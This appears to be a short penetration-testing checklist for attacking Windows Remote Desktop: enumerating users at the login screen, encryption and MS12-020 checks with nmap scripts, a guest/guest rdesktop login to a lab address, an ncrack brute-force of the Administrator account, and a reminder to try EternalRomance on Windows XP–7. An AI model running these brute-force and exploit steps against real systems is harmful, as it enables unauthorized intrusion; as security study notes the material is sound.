Perform enumeration via connecting and checking login screen. Gather all active user’s name and domain/group name.

Perform RDP cryptography check using

RDP-sec-check.pl script.

Run following nmap script:

rdp-enum-encryption.nse

rdp-vuln-ms12-020.nse

rdesktop -u guest -p guest 10.11.1.5 -g 94%

Brute force like this

ncrack -vv --user Administrator -P /root/passwords.txt rdp://192.168.1.101

Test Eternal romance against rdp sessions on Windows Xp-7.